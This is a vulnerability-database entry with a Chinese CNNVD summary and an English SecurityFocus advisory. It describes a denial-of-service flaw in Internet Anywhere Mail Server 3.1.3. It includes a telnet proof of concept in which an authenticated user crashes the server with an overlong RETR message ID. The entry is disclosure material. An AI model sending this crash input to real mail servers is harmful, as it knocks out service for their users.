https://www.exploit-db.com/exploits/19748
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-026

InternetAnywherePOP3邮件服务器存在漏洞。本地用户借助畸形RETR命令引发拒绝服务。

source: http://www.securityfocus.com/bid/982/info


Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server. 

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <[email protected]>
user username
+OK valid
pass password
+OK Authorized
RETR 11111111111

来源:BID
名称:982
链接:http://www.securityfocus.com/bid/982
来源:BUGTRAQ
名称:20000210remoteDoSonInternetAnywhereMailServerVer.3.1.3
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=95021326417936&w;=2